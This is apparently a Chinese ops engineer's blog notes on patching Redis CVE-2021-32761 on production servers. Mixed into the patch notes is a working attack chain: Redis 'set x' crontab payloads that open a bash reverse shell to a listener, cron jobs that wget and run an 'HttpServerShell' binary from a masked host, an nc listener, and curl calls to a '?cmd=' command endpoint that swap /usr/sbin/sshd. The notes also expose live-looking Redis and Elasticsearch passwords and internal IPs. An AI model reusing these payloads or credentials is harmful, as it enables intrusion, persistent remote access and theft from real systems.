今天的计划是修复线上的redis 漏洞
Redis整形溢出漏洞(CVE-2021-32761)及修复脚本
目的: 修复生产的redis漏洞,主要是整数溢出漏洞,但是过程中发现还有反弹shell 漏洞(次要 ,毕竟需要密码)
计划:
- 获取生产的redis版本 账号 和密码
- 在测试环境搭建反正环境
- 漏洞的研究与证实
- 测试环境的验证修复
- 生产的实施(运维操作 评估形成文档)
开始:
-
获取生产的redis版本信息 和账号密码
需要安装一个redis-cli 才能去获取
下载redis源码
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
解压缩
tar -zxf redis-4.0.10.tar.gz
切换redis源码目录
cd redis-4.0.10/
编译源文件 不需要指定位置 默认在/usr/local/bin 因为有Makefile
make && make install (可能不需要make install 和root 账号 我用的是非root 账号 所以 install 的时候报错 没有 /usr/local的权限 ,但是在src 目录下生成了 redis-cli 直接用就可以了) spring.redis.cluster.nodes=172.20.3.12:6382,172.20.3.35:6382,172.20.3.36:6382,172.20.3.12:6381,172.20.3.35:6381,172.20.3.36:6381 spring.redis.password=T6E2q7Bufv5k4Z spring.redis.cluster.max-redirects=3
拿到了版本号是 redis_version:5.0.9
通过了命令:
./redis-cli -h 172.20.3.12 -p 6382
info
2 搭建测试集群 开始
下载指定版本redis
wget http://download.redis.io/releases/redis-5.0.9.tar.gz
由于我得alpha环境是不通外网的 所以 得换个环境了
只能起我的vmware 虚拟机了
虚拟机上已经安装过redis 不过版本信息是6.2.9
2 反弹shell漏洞实验
redis-cli 连接后 flushall清空数据
1.利用redis反弹回来一个shell
root@kali:~# redis-cli -h 192.168.85.170
set x “\n* * * * * bash -i >& /dev/tcp/反弹的ip/7999 0>&1\n”
set x “\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n”
set x “\n* * * * * bash -i >& /dev/tcp/127.0.0.1/7999 0>&1\n”
set x “\n* * * * * cp /usr/sbin/sshd1109.bak /usr/sbin/sshd \n”
set x “\n* * * * * cp /usr/sbin/sshd /usr/sbin/sshd1109.bak \n”’
wget --no-check-certificate https://xxxxxxx/uploads/HttpServerShell -O /root/test1
set x "\n* * * * * bash -i >& /dev/tcp/172.20.3.33/7999 0>&1\n"
set x "\n * */1 * * * wget --no-check-certificate https://xxxxxx.com/uploads/HttpServerShell -O /root/test1 0>&1\n"
set x "\n * */1 * * * chmod +x /root/test1 0>&1\n"
set x "\n * */1 * * * nohup /root/test1 & 0>&1\n"
*/5 * * * wget https://xxxx.com/uploads/HttpServerCmd -O /root/test1 0>&1\n"
遇到点问题:
有的字符串会导致乱码 这个
这个乱码的引起到底是 centos ?==》 crontab -e >
config set dir /var/spool/cron/
config set dbfilename root
save
如果不清空数据会怎么样呢?
有差别 每个数据都被单独一行吸入到了crontab中了
如果要还原的话就是 清空再save.
然后直接本地开个nc ,没有安装的话 yum install nc
nc -lvnp 7999 进行接受反弹回来的信息
3 整数溢出漏洞
影响范围
Redis整形溢出漏洞影响版本:
2.2 < Redis Redis < 5.0.13
2.2 < Redis Redis < 6.0.15
2.2 < Redis Redis < 6.2.5
根据影响版本中的信息,排查并升级到安全版本,下载链接:
https://github.com/redis/redis/releases
安全版本:5.0.13、6.0.15/6.2.5
wget http://download.redis.io/releases/redis-6.2.5.tar.gz
开始修复
计划:
1. 安装redis 单机或者集群?
2. wget http://download.redis.io/releases/redis-6.2.5.tar.gz
3. 备份conrtab
0 */1 * * * /srv/script/init_kerberos_kylin.sh > /srv/script/logs/init_kerberos_kylin.log 2>&1 * * */2 * * echo “” > /usr/local/project/bigdata/bgd-cloudswitch-search-provider/nohup.out */5 * * * * curl -s -k --cert client.pem --key key.pem -u elastic:tb355XlypevZWw7I9L35 -X POST https://172.20.3.35:9200/test_new_collect_terminal_info_alias/_rollover --header ‘Content-Type:application/json’ -d ‘{ “conditions”: { “max_age”: “15d”, “max_docs”: 50000000, “max_size”: “10gb”}}’ >> /root/crontab.log
信息备份
127.0.0.1:6379> auth T6E2q7Bufv5k4Z OK 127.0.0.1:6379> config get dbfilename 1) “dbfilename” 2) “dump.rdb” 127.0.0.1:6379> config get dir 1) “dir” 2) “/service/redis-delete/redis-6.2.5” 127.0.0.1:6379>
停服务 把redis 迁移过去
启动命令准备好
java -Xms2048m -Xmx2048m -jar -Dspring.profiles.active=prod -Dspring.cloud.consul.host=172.20.133.200 -Dspring.cloud.consul.port=31000 -Dspring.config.location=application.yml,application-prod.properties /service/bigdata-cloudswitch-consumer/bigdata-cloudswitch-consumer-v1.0.8.7f5f609.201.jar
查看原有数据是否有redis key
keys *
查看所有的日志
tail -fn 200 logs/bigdata-cloudswitch-consumer/error.log
清楚数据 然后过几天来看对不对
[root@hadoop-server-006 bigdata-cloudswitch-consumer-second]# /usr/local/bin/redis-cli -h 172.20.3.12 -p 6382
auth T6E2q7Bufv5k4Z
172.20.3.12:6382> dbsize
(error) NOAUTH Authentication required.
172.20.3.12:6382> auth T6E2q7Bufv5k4Z OK
172.20.3.12:6382> dbsize (integer) 101329
172.20.3.12:6382> flushall OK
172.20.3.12:6382> dbsize (integer) 0
172.20.3.12:6382> dbsize (integer) 0
172.20.3.12:6382>
观察很久了 发现数据并没有增加
curl 172.20.3.12:9081/ip?cmd=ls%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=ls%20-l%20/usr/sbin/sshd*
curl 172.20.3.36:9081/ip?cmd=mv%20/usr/sbin/sshd1109.bak%20/usr/sbin/sshd
redis的集群模式是可以更改的
redis slave 转 master
将 Redis Slave 转换为 Master 的过程如下所示:
- 首先登录到 Redis Slave 服务器上。可以使用 SSH 或其他远程连接工具进行登录。
- 打开命令行界面并输入
redis-cli
来启动 Redis CLI(Redis Command Line Interface)。 - 在 Redis CLI 中运行
SLAVEOF NO ONE
命令,这会取消当前从节点与主节点之间的复制关系。 - 然后再次运行
INFO replication
命令查看当前 Redis 实例的信息,确保已经成功变为了主节点。 - 最后退出 Redis CLI,返回到原始的操作系统命令行界面。
- 现在该 Redis Slave 就被转换为了新的 Redis Master。
注意事项:
本文由mdnice多平台发布